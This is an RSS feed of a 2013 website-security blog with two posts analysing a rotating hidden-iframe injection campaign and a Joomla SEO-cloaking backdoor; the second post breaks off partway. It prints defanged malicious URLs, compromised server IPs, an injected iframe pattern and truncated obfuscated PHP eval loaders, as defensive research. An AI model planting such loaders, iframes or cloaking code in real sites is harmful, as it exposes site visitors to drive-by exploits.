<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Unmask Parasites. Blog.</title>
	
	<link>http://blog.unmaskparasites.com</link>
	<description>Website insecurity by example</description>
	<lastBuildDate>Thu, 23 May 2013 14:16:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/unmaskparasites" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="unmaskparasites" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">unmaskparasites</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>Rotating Iframe URLs – One a Minute</title>
		<link>http://blog.unmaskparasites.com/2013/05/11/rotating-iframe-urls-one-a-minute/</link>
		<comments>http://blog.unmaskparasites.com/2013/05/11/rotating-iframe-urls-one-a-minute/#comments</comments>
		<pubDate>Sat, 11 May 2013 16:48:58 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[United Domains]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=906</guid>
		<description><![CDATA[Earlier this week, Sucuri wrote about auto generated iframes in hacked WordPress blogs. The malicious PHP code fetched the iframe URLs from a remote server (hxxp://82 .200 .204 .151/config.inc.php) on-the-fly every time someone loaded infected web pages. This trick helped regularly update the malicious URLs without having to change the code on each hacked site [...]]]></description>
			<content:encoded><![CDATA[<p>Earlier this week, Sucuri wrote about <a href="http://blog.sucuri.net/2013/05/auto-generated-iframes-to-blackhole-exploit-kit-following-the-cookie-trail.html">auto generated iframes</a> in hacked WordPress blogs. The malicious PHP code fetched the iframe URLs from a remote server (<span style="color: #993300;">hxxp://82 .200 .204 .151/config.inc.php</span>) on-the-fly every time someone loaded infected web pages. This trick helped regularly update the malicious URLs without having to change the code on each hacked site individually. All the URLs had the same format <em>http://&lt;domain-of-a-hacked -site.com&gt;<strong>/news/faults-ending.php</strong></em>. For example, <span style="color: #993300;">hxxp://brewerstire .com/news/faults-ending.php</span> .</p>
<p>This reminded me of another ongoing attack that also rotates iframe URLs in a similar way. However it has some distinguishing features that make it worth it to describe it separately.<br />
<span id="more-906"></span></p>
<p><strong>Disclaimer:</strong> I still haven&#8217;t had access to websites affected by this hack and didn&#8217;t see the actual malicious code, but I have enough details that I managed to get as an external observer to speculate about what&#8217;s going on.</p>
<h3 id="symptoms">Symptoms</h3>
<p>1. This hack affects all sorts of PHP sites. Most of the sites I checked were Joomla and WordPress sites.</p>
<p>2. There is a malicious iframe code at the very top of the HTML code of infected web pages.</p>
<p><code>&lt;i f r a m e src="<em>hxxp://&lt;malicious URL&gt;</em>" width=1 height=1 style="visibility: hidden"&gt;&lt;/i f r a m e&gt;</code></p>
<p>3. The iframe URL changes much more often then in the case described by Sucuri. It changes <strong>every minute</strong>! Actually this attack rotates a long list of URLs and roughly in two hours you begin to notice repetitions.</p>
<p>4. The iframe URLs conform to patterns that your can easily spot if you see a few URLs. Every few days the pattern changes. The current pattern is: <em>http://&lt;domain-of-a-hacked-site&gt;<strong id="system">/templates/system/index.php</strong></em>. For example:</p>
<p style="padding-left: 30px;"><span style="color: #993300;">hxxp://www .exileskimboards .com<strong>/templates/system/index.php</strong></span><br />
<span style="color: #993300;"> hxxp://www .granvillesoccer .com .au<strong>/templates/system/index.php</strong></span><br />
<span style="color: #993300;"> hxxp://www .bonabejadid .ir<strong>/templates/system/index.php</strong></span><br />
<span style="color: #993300;"> hxxp://www .dijonpoker .fr<strong>/templates/system/index.php</strong></span><br />
<span style="color: #993300;"> hxxp://rcouncil.rmutr .ac .th<strong>/templates/system/index.php</strong></span><br />
<span style="color: #993300;"> hxxp://www .tvstein .ch/<strong>templates/system/index.php</strong></span></p>
<p style="padding-left: 30px;"><a href="http://pastebin.com/KHQ8y6NY">my list of 119 URLs</a> can be found on pastebin.</p>
<p>Before that I saw: <em>http://&lt;domain-of-a-hacked-site&gt;<strong id="7random">/&lt;7-random-characters&gt;</strong>.php</em>.</p>
<p style="padding-left: 30px;"><span style="color: #993300;">hxxp://reneks .com .tr/<strong>yrdoter</strong>.php</span><br />
<span style="color: #993300;"> hxxp://yatginkumlama .com/<strong>dlagphi</strong>.php</span><br />
<span style="color: #993300;"> hxxp://vardarlarmutfak .com/<strong>qygkmfd</strong>.php</span><br />
<span style="color: #993300;"> hxxp://genckoltukdoseme .com/<strong>whdkrmv</strong>.php</span><br />
<span style="color: #993300;"> hxxp://oppoportal .com/<strong>ywdvbnk</strong>.php</span><br />
<span style="color: #993300;"> hxxp://profiaudio .com .pl/<strong>xbiwspk</strong>.php</span><br />
<span style="color: #993300;"> hxxp://targetedasia .com/<strong>rgrmvmh</strong>.php</span><br />
<span style="color: #993300;"> hxxp://web429 .webclient2 .de/<strong>uqevulx</strong>.php</span></p>
<p style="padding-left: 30px;"><a href="http://pastebin.com/ySmbcGPj">my incomplete list of 41 URLs</a> can be found on pastebin.</p>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Update (May 23rd, 2013):</strong></span> <a href="http://pastebin.com/Vp97vxLA">New list of 105 iframe URLs</a>.</p>
<p>and <em>http://&lt;domain-of-a-hacked-site&gt;/&lt;path&gt;<strong id="subdir">/&lt;subdir&gt;/</strong></em><em><strong>&lt;subdir&gt;</strong></em><em><strong>.php</strong></em>.</p>
<p style="padding-left: 30px;"><span style="color: #993300;">hxxp://bugs4u .info/forum/downloads/<strong>monthly_06_2012</strong>/<strong>monthly_06_2012</strong>.php</span><br />
<span style="color: #993300;"> hxxp://www .funfiles .cc/<strong>deliveryairport</strong>/<strong>deliveryairport</strong>.php</span><br />
<span style="color: #993300;"> hxxp://www .svendborgfrivilligraad .dk/themes/Phos/forum/<strong>green</strong>/<strong>green</strong>.php</span><br />
<span style="color: #993300;"> hxxp://www .lt90 .org/upload_files/now/<strong>nata</strong>/<strong>nata</strong>.php</span><br />
<span style="color: #993300;"> hxxp://graf-pokrishkin .ru/temp/<strong>4183![barum]</strong>/<strong>4183![barum]</strong>.php</span><br />
<span style="color: #993300;"> hxxp://jivdom .info/forum/admin/applications_addon/ips/blog/setup/versions/<strong>upg_10003</strong>/<strong>upg_10003</strong>.php</span><br />
<span style="color: #993300;"> hxxp://www .goduk1apt .com/<strong>elephantcablegrahamcooper</strong>/<strong>elephantcablegrahamcooper</strong> .php</span></p>
<p style="padding-left: 30px;"><a href="http://pastebin.com/kzicSKZ9">my short list of 18 URLs</a> can be found on pastebin.</p>
<p>5. The iframe is being injected only if visitors come from search engines and don&#8217;t use known IPs of search engine crawlers.</p>
<p>6. The iframe is being injected for all types of requests that contain eligible referrer headers.  I.e. not only into web pages (content type <strong>text/htm</strong>l) but into any other requested resource: <strong>*.js</strong>, <strong>*.css</strong>, <strong>*.jpg</strong>, <strong>*.png</strong>, etc. and even &#8220;<strong>404 Not found</strong>&#8221; error pages.  All the infected responses have the <strong>text/html </strong>content type, regardless of the type of the resource being requested, their status code is <strong>200</strong> (even for non-existen pages whose content say &#8220;404 not found&#8221;),  and they have the <strong>X-Powered-By</strong>:  <strong>PHP</strong> headers even for static files.</p>
<p>7. The malicious code seems to be buggy and on some sites it generates the &#8220;<strong>500 Internal Server Error</strong>&#8220;.</p>
<h3 id="what">What&#8217;s going on?</h3>
<p>Now let me speculate about what&#8217;s going on.</p>
<p>1. When the iframes are injected into static resources, such as images, we see the extra <strong>X-Powered-By</strong>:  <strong>PHP</strong> HTTP header. This means that some PHP script is responsible for this iframe injection.</p>
<p>2. Since the iframe HTML code is being injected even into static resources that should not be processed by PHP (e.g. images, CSS, JS ),  which is clearly a bug, this means that the malicious PHP code starts working before web server touches any legitimate files. But if requests lacks a search engine referrer, then the same static files are being processed directly (no <strong>X-Powered-By</strong>:  <strong>PHP</strong> header and correct <strong>Content-Type</strong>) Therefore, we can suggest that it&#8217;s either something that&#8217;s working on the server level or something that has changed the site configuration.</p>
<p>3. This is not a server-wide infection. I checked other sites that share the same servers with the infected sites. They didn&#8217;t exhibit the same malicious behavior.</p>
<p>4. So it must be some site configuration modification. Since the malicious behavior relies on the Referrer header, I guess it is done using a set of <strong>ModRewrite</strong> rules in <strong>.htaccess</strong> file that redirect all incoming requests with eligible referrers (search engines and, maybe, social networks) to some PHP script hidden somewhere on the server, providing it with the originally requested URL as a parameter.</p>
<h3 id="script">Malicious script</h3>
<p>Here&#8217;s how such a script can work:</p>
<p>1.  Get the URL requested by a visitor (passed as a parameter by the ModRewrite rule) and either fetch it directly, or make a roundtrip to a remote server that will fetch it and return the content  (like in the scenario I described in my <a href="http://blog.unmaskparasites.com/2013/03/11/cloaking-think-outside-of-your-box/">previous post</a>).</p>
<p>2. Then check the visitors IP. If it is not in a known range of IPs belonging to search engines and security companies, then inject the iframe code at the very top of the fetched &#8220;page&#8221; content and return it back to user. Otherwise return the unmodified content.  If the original URLs are being fetched by a remote server then the iframe code could be injected by that remote server too (and in this case skip the following points about the iframe generation)</p>
<h4 id="iframe">Iframe generation</h4>
<p>So how does the script change the iframe URLs (in case the iframe code is being generated by that script)? I&#8217;ve seen other attacks that use the following two tricks that can help accomplish this task:</p>
<ol>
<li>There is a list of iframe URL saved somewhere on the server: either hard-coded in that script or in some standalone file. For example, I&#8217;ve seen an attack that used the <strong>log1.txt</strong> file in the <strong>/.logs/</strong> subdirectory to store a list of malicious URLs that it used for script injections. In this case, hackers need to upload a new list to all the infected sites when they want to use a new list of URLs (and we know they changed their lists at least three times.)</li>
<li>As in the Sucuri&#8217;s example, the malicious script can simply request an iframe URL from a remote server on every load. In this case hackers don&#8217;t even need to update anything on the infected sites since they can manage URL lists centrally on their own server. Something tells me this variant is more plausible.</li>
</ol>
<h3 id="urls">Iframe URLs</h3>
<p>I normally focus on infected websites and don&#8217;t analyze malicious URLs. However in this case the malicious URLs clearly belong to other infected sites and can add some interesting details to this story.</p>
<p>The &#8220;<a href="#system">/templates/system/index.php</a>&#8221; pattern in the malicious iframe URLs suggests that all those sites are powered by Joomla.  So they currently use a batch of about <strong>120</strong> URLs that all point to an <em>index.php</em> file in the <em>system</em> template of Joomla. I guess, those sites all had been hacked using a brute force attack on the Joomla login form, followed by malicious code injection into template files using the access to Joomla admin interface. (Many people have been talking about distributed WordPress brute force attacks lately, but you should not forget that similarly massive attacks are being targeted at Joomla too. I constantly come across their traces in logs of Joomla site I work with.)</p>
<p>But wait, if we take a look at other lists of iframe URLs with the &#8220;<a href="#7random">7-random-characters.php</a>&#8221; and &#8220;<a href="#subdir">subdir/subdir.php</a>&#8221; patterns, we&#8217;ll see a different picture. You won&#8217;t see many Joomla sites there. Sites in those two lists are very heterogeneous: pure html, forums, Drupal, and even ASP.NET sites on IIS servers (although PHP was installed on those IIS servers). In my experience, such lists of hacked sites could be compiled as a result of attacks that steal FTP credentials from computers of their webmasters.</p>
<p>It looks like the gang that injects the iframes simply sells the traffic to another gang that provides them with the lists of URLs, or they manage several different attacks at the same time.</p>
<h3 id="redirects">302 redirects</h3>
<p>What does those iframes URLs point at? They actually do a <strong>302 redirect</strong> to malicious resources that try to attack visitors&#8217; computers using known vulnerabilities in  browser plugins. At this point the malware looks for the following exploitable plugins: Adobe Reader, Java, Flash, Quick Time, Real Player, Shockwave, Silverlight, VLC and Windows Media Player. The page with the exploit tracks visitors&#8217; IPs and will return the &#8220;404 not found&#8221; errors to returning visitors.</p>
<p>The redirect URLs <strong>synchronously</strong> change for every iframe URL (even for those with older URL patterns that are no longer in use) <strong> every minute</strong>. This proves that the redirect rules are not something static (like typical .htaccess redirects). They have a dynamic nature and should be handled by the PHP scripts themselves.  Most likely they request the redirect URLs on-the-fly from a remote server (maybe the same that provided the iframe URLs).</p>
<p>The redirect URLs have a peculiar format:<br />
<em>http://&lt;domain-name&gt;/<strong>l&lt;random-characters&gt;?f&lt;random-characters&gt;=&lt;7-digits&gt;</strong></em></p>
<p style="padding-left: 30px;"><span style="color: #993300;">hxxp://425roads .info/<strong>l</strong>ilkohlbmxuh?<strong>f</strong>beesiwtyf=<strong>518675</strong></span><br />
<span style="color: #993300;">hxxp://425roads .net/<strong>l</strong>kqlgchu?<strong>f</strong>lufewmrivlx=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://425roads .org/<strong>l</strong>xqccnycjhsk?<strong>f</strong>ctpmn=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://averbolados .info:<strong>8000</strong>/<strong>l</strong>pdqh?<strong>f</strong>phxrvpdkck=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://bigger-joy .org/<strong>l</strong>shsxkmci?<strong>f</strong>beyn=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://boxingplaces .org/<strong>l</strong>vfhilo?<strong>f</strong>mirinlsugbe=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://cycling-infos .com:<strong>8000</strong>/<strong>l</strong>crchcvcup?<strong>f</strong>pepbmtgcmb=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://fiveandsixandseven .net:<strong>8000</strong>/<strong>l</strong>yyykbjynbnffo?<strong>f</strong>tegbdf=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://germaindusant .net/<strong>l</strong>lsjbcf?<strong>f</strong>qreotff=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://jab-servers .com:<strong>8000</strong>/<strong>l</strong>esxcc?<strong>f</strong>idkdgljbty=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://kinder-world .net/<strong>l</strong>khlsxdqht?<strong>f</strong>jnuvip=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://muscle-guys .info/<strong>l</strong>xwhcuxtwd?<strong>f</strong>qwscf=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://mutauga .com/<strong>l</strong>hpejsgylf?<strong>f</strong>ccgtqqorxt=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://niria-coperta .org/<strong>l</strong>tjqv?<strong>f</strong>owcqxxui=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://paris-online-guide .net:<strong>8000</strong>/<strong>l</strong>wjmlup?<strong>f</strong>mckhkdjyi=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://pizza-recipes .de/<strong>l</strong>flpwvtkctoogi?<strong>f</strong>oseyilcyx=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://rotatethespin .org:<strong>8000</strong>/<strong>l</strong>duxhuqilciol?<strong>f</strong>rvwbkq=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://runthepig .info/<strong>l</strong>ecqvmgugipdfd?<strong>f</strong>krhcrk=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://shinebaby .info:<strong>8000</strong>/<strong>l</strong>qfgmgbdxpboo?<strong>f</strong>jbdmdikp=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://sortebmul .com/<strong>l</strong>qlchhsovktcld?<strong>f</strong>sosbn=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://threehundredfortyone .net/<strong>l</strong>iuecopx?<strong>f</strong>upctdcfmmg=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://ufoarea51 .net/<strong>l</strong>fgeiytb?<strong>f</strong>esbqkwc=<strong>9840870</strong></span><br />
<span style="color: #993300;">hxxp://underwater-house .com/<strong>l</strong>ehcgcoswufitb?<strong>f</strong>kbdbqmemm=<strong>5186751</strong></span><br />
<span style="color: #993300;">hxxp://urgentmathcourses .org/<strong>l</strong>lgsigdse?<strong>f</strong>lvqjtsgb=<strong>9840870<br />
&#8230;</strong></span></p>
<p>While the domain names change several times a day, the query part of the URLs changes <strong>every minute</strong>. Its numeric part remains the same though.  At this point I noticed only two variants: <strong>9840870</strong> and <strong>5186750</strong>. Not sure what they mean. Probably some IDs. You can use them to find even more malicious redirect URLs using the <em>urlquery.net</em>&#8217;s search tool: <a href="http://urlquery.net/search.php?q=5186751&amp;type=string&amp;start=2013-04-25&amp;end=2013-05-10&amp;max=400">5186751</a> and <a href="http://urlquery.net/search.php?q=9840870&amp;type=string&amp;start=2013-04-25&amp;end=2013-05-10&amp;max=400">9840870</a>.</p>
<h4 id="domains">Malicious domains</h4>
<p>When I got a first few redirect URLs, I thought they also belonged to hacked sites. There was no pattern in domain names, they all were quite meaningful (e.g. <span style="color: #993300;">underwater-house .com</span> or <span style="color: #993300;"><em>pizza-recipes .de</em></span>), they belonged to multiple TDLs (.com, .net, .org, .info, .de) and pointed to multiple different IPs all over the world. However the root levels of those sites were empty, so I decided to take a look at their WHOIS records.</p>
<p>It turns out that <strong>all</strong> those domains (a couple of hundred) are less than a month old and each of them were registered using the <strong>united-domains.de</strong> service by a half-dozen &#8220;persons&#8221; (most likely fake)  just hours before the attackers began to use them. Now it&#8217;s clear that they were specifically registered for this attack (probably using fake identities and stolen credit card details). I won&#8217;t be surprised if they also used the United Domains&#8217; <a href="http://www.ud-reselling.com/api">reselling program&#8217;s API</a> to automate the process (I&#8217;ve <a href="http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/#onlinenic">blogged about this approach</a> last year).</p>
<h4 id="servers">Pwnd servers</h4>
<p>Then I checked the servers. It appeared they all were dedicated or virtual private servers with a few legitimate sites (usually from one to ten sites).  One more detail. The HTTP headers of the malicious content show that it&#8217;s being served by <strong>Nginx</strong> web server. You might also have noticed that many redirect URLs point to port <strong>8000</strong>. I checked several servers and figured out that this happens when server owners have Apache working on port 80. In this case hackers install Nginx on port 8000 and serve the malicious content off of it. Thus, the need to specify the port for URLs on such servers. But if Nginx was initially installed and working on port 80, then hackers only needed to configure new virtual hosts for their own domains and didn&#8217;t have to add port to their URLs.</p>
<p>The only plausible explanation is that all these servers are hacked at a root level.</p>
<p>Here&#8217;s the list of compromised servers (one of them is on the network of Linode, but I&#8217;m sure it&#8217;s not related to their <a href="https://blog.linode.com/2013/04/16/security-incident-update/">recent security incident</a>):</p>
<p style="padding-left: 30px;">103.13.101.32<br />
173.255.200.91<br />
178.33.80.110<br />
192.198.84.91<br />
192.210.142.71<br />
198.50.142.36<br />
198.50.142.50<br />
199.58.210.121<br />
214.4.154.58<br />
31.216.38.46<br />
74.115.212.130<br />
85.214.134.25<br />
94.242.198.11<br />
94.242.198.12<br />
94.242.219.115</p>
<h3 id="questions">Missing links</h3>
<p>At this point I don&#8217;t have definite answers to a few questions to complete this investigation. I hope that fellow researchers and webmasters of the hacked site will be able to help me.</p>
<ol>
<li>How exactly do hackers break into websites to place the iframe code there?</li>
<li>How exactly does that code work? You can post the malicious code on <a href="http://pastebin.com/">pastebin</a> or <a href="http://blog.unmaskparasites.com/contact/">contact me</a> and send the files.</li>
<li>How exactly were the sites hosting the iframe URLs hacked?</li>
<li>What is the malicious nginx setup on the compromised servers and how did the attackers gain root access there?</li>
</ol>
<h3 id="webmasters">To webmasters</h3>
<p>Meanwhile, some general advice to webmasters of compromised sites.</p>
<ol>
<li> Check the <strong>.htaccess</strong> file for unwanted rules. Note, the malicious code can be hidden below a few screens of empty lines. There can also be a .htaccess file <strong>above the site root level</strong> that you should also check.</li>
<li> Scan your server for any new or modified files. It&#8217;s always good to use some integrity or version control system which greatly facilitate this task.</li>
<li>It&#8217;s always a good idea to <strong>change all passwords</strong> when your site is compromised. In this particular case I see some signs (not proved yet) of attacks that either brute-force or steal passwords, so changing passwords is a must.
<ul>
<li>Your FTP credentials could be stolen from your PC. <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">Many trojans can easily extract your passwords if you save them in FTP clients</a>. Specialized password manager programs or services (e.g. <a href="http://keepass.info">KeePass</a>, <a href="http://lastpass.com">LastPass</a>) are much more suitable solution if you don&#8217;t want to memorize your passwords.</li>
<li>If you use web applications with admin interface, such as WordPress or Joomla, then you should never use default names of administrator users (e.g. <em>admin</em>, <em>administrator</em>, <em>root</em>). Create a new user with admin permissions and delete the default admin. And don&#8217;t forget about strong passwords.</li>
</ul>
</li>
</ol>
<p>##<br />
Questions and comments are welcome.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2013/03/11/cloaking-think-outside-of-your-box/">Cloaking: Think Outside of [Your] Box</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/">Weak Passwords and Tainted WordPress Widgets</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div id="_mcePaste" class="mcePaste" style="position: absolute; left: -10000px; top: 2393px; width: 1px; height: 1px; overflow: hidden;">﻿</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=MFMj0vE7oJk:_bF1vWpKTxk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=MFMj0vE7oJk:_bF1vWpKTxk:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=MFMj0vE7oJk:_bF1vWpKTxk:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=MFMj0vE7oJk:_bF1vWpKTxk:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2013/05/11/rotating-iframe-urls-one-a-minute/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cloaking: Think Outside of [Your] Box</title>
		<link>http://blog.unmaskparasites.com/2013/03/11/cloaking-think-outside-of-your-box/</link>
		<comments>http://blog.unmaskparasites.com/2013/03/11/cloaking-think-outside-of-your-box/#comments</comments>
		<pubDate>Mon, 11 Mar 2013 16:34:03 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[cloaking]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[Kaspersky Internet Security]]></category>
		<category><![CDATA[NZgroup]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=904</guid>
		<description><![CDATA[Cloaking in SEO is defined as a technique in which the content presented to the search engine spider is different from that presented to the user&#8217;s browser (Wikipedia). But in case of hacked sites, cloaking is more tricky than just different content for search engines and for real users. It can also be different content [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Cloaking">Cloaking</a> in SEO is defined as a technique in which the content presented to the search engine spider is different from that presented to the user&#8217;s browser (Wikipedia). But in case of hacked sites, cloaking is more tricky than just different content for search engines and for real users. It can also be different content for different types of users. Moreover, the internal implementation is usually hidden (cloaked) from webmasters of compromised sites.</p>
<p>This post will be about one of such site hacks that involved SEO cloaking and used quite an interesting trick to alter page content.<br />
<span id="more-904"></span><br />
First of all, I&#8217;d like to thank <a href="http://hackrepair.com/">Jim Walker (Hack Repair)</a> who shared the story of one hacked site and sent me the malicious code found there.</p>
<p>At first, it looked like a <strong>typical</strong> site affected by a black hat SEO cloaking:</p>
<ol>
<li>You could see <em>cialis/viagra</em> keywords in Goole search results for that site (<strong>site:</strong> query).</li>
<li>You could see a modified <em>title</em> with &#8220;pharma&#8221; keywords in <a href="http://www.UnmaskParasites.com/">Unmask Parasites</a> reports.</li>
<li>At the same time nothing like that was there when you opened the site in a web browser.</li>
</ol>
<p>But then you would notice something <strong>puzzling</strong>:</p>
<ul>
<li>The spammy content was only present when you requested &#8220;<em>www.example.com</em>&#8221; and never when requested &#8220;<em>www.example.com/index.php</em>&#8220;, although it was a Joomla site and &#8220;<em>www.example.com</em>&#8221; is absolutely the same as &#8220;<em>www.example.com/index.php</em>&#8220;</li>
<li>The spammy content changed quite often.  For example, your initial Unmask Parasites report could include only a suspicious title, but a couple of hours later Unmask Parasites would also report a bunch of spammy external links as well. And a few hours later the links could change or disappear.</li>
<li>And inspection of files on server showed that there were no modifications in files responsible for generation of HTML code for &lt;title&gt;, &lt;meta description&#8230;&gt; and the places that contained spammy links.</li>
</ul>
<p>Of course, although that&#8217;s not typical, the cloaking code can distinguish between &#8220;<em><strong>/</strong></em>&#8221; and &#8220;<strong><em>index.php</em></strong>&#8221; requests, spammy content can be downloaded from a remote site in real time and the code itself can use smart tricks and CMS APIs to hide itself in surprising places and modify web pages on the fly. Further analysis showed that while all this guesses were true, the actual tricks&#8217; implementation was more interesting than we originally thought.</p>
<h3>How it all works?</h3>
<p>A site scan revealed a file called &#8220;<em><strong>updtr</strong></em>&#8221; in the &#8220;<em><strong>images</strong></em>&#8221; directory inside one of the active Joomla template&#8217;s sudirectories. At the top level of the template, there was the &#8220;<em><strong>styles.php</strong></em>&#8221; file were hackers added one line of code in the middle of the file:</p>
<p><code>@require(dirname(__FILE__).'/moorainbow/images/updtr');</code></p>
<p>Looks quite innocuous, isn&#8217;t it. But if you open the &#8220;<em><strong>updtr</strong></em>&#8221; file you&#8217;ll see this (<a href="http://pastebin.com/PEjhCnZ0">full version on pastebin</a>):</p>
<p><code>&lt;?php error_reporting(0); eval(gzuncompress(base64_decode('eF59Um1rgzAQ/...<strong>skipped</strong>...HF7rzfjRDublzMyFohTO9/wX8t+Ms'))); ?&gt;<br />
&lt;?php eval(gzuncompress(base64_decode('eF6FU9tum0AQ/ZU8WHKi9oGr61XEg52wGI...<strong>skipped</strong>...hP0TxcRfPrnv+jt/x5c/v7DxO+YfA='))); ?&gt;<br />
&lt;?php eval(gzuncompress(base64_decode('eF6FVW1rGzEM/itXCDRmIVh+Ox/ZlXWs7E...<strong>skipped</strong>...4lg+/txWmabb8u97Pjv8BlyxTKw=='))); ?&gt;</code></p>
<p>That&#8217;s what a typical encrypted malicious PHP code looks like. (Reminder: don&#8217;t limit your searches for malicious PHP patterns to <strong>*.php</strong> files only.)</p>
<p>Once decoded (<a href="http://pastebin.com/hkeZ5dqg">pastebin</a>), you can see a pretty short code that checks various request parameters  and returns different versions of web pages. What is interesting is how it does it.</p>
<h3>Cloaking script</h3>
<p>At the top level, we see three types of supported requests:</p>
<ol>
<li>Requests with the &#8220;<strong>NZgroup</strong>&#8221; keyword in the <strong>User-Agent</strong> string. These requests check if the cloaking code is installed. They expect <strong><span style="color: #008000;">CHETKO</span>##OK</strong> as a response.</li>
<li>Requests to &#8220;<strong>/</strong>&#8221; (site root without <em>index.php</em>) from any browsers whose <strong>User-Agent</strong> string is not &#8220;<strong>Kaspersky Internet Security</strong>&#8220;. Response HTML for such requests is downloaded from a remote server. This is the most interesting part that will be described below.</li>
<li>The rest requests. They go unchanged as if there were no malicious code at all.</li>
</ol>
<p>So what happens when someone requests a homepage and why does the code specifically checks for the &#8220;<strong>Kaspersky Internet Security</strong>&#8221; User-Agent? Well, in this branch, the malicious code collects all the data from the request&#8217;s HTTP headers (user IP address (REMOTE_ADDR and HTTP_X_FORWARDED_FOR), site domain (HTTP_HOST),  REQUEST_URI, HTTP_USER_AGENT, HTTP_ACCEPT_LANGUAGE, HTTP_REFERER,  SERVER_SIGNATURE, QUERY_STRING) and sends them as a POST request to <span style="color: #993300;">hxxp://<strong>mainserverprocess .net</strong>/googleornot/dtbnz.php</span>. The result of this POST request is returned to a user as-is (without any further modifications).</p>
<p>As you might have guessed, the result will be different depending on the parameters sent to <strong>dtbnz.php</strong> on <span style="color: #993300;"><strong>mainserverprocess .net</strong></span>.</p>
<h4>Regular request from a normal user</h4>
<p>If the <strong>dtbnz.php</strong> script detects a normal user, then it needs to show them a normal homepage. How can a script on a remote server get the HTML code of a third-party website? The answer is like everybody else:  load it via HTTP (people use web browsers for that ;-) ). After all, the script has enough information to do it (site domain and the exact request). Good, but we know if this script requests a homepage from the hacked site, the cloaking code will try to contact <strong>dtbnz.php</strong> on <span style="color: #993300;"><strong>mainserverprocess .net</strong></span> again. Looks like a deadlock! Not really. Do you remember the check for &#8220;<strong>Kaspersky Internet Security</strong>&#8221; User-Agent string? That&#8217;s right, the <strong>dtbnz.php</strong> script uses this User-Agent string for its own requests to avoid deadlocks!</p>
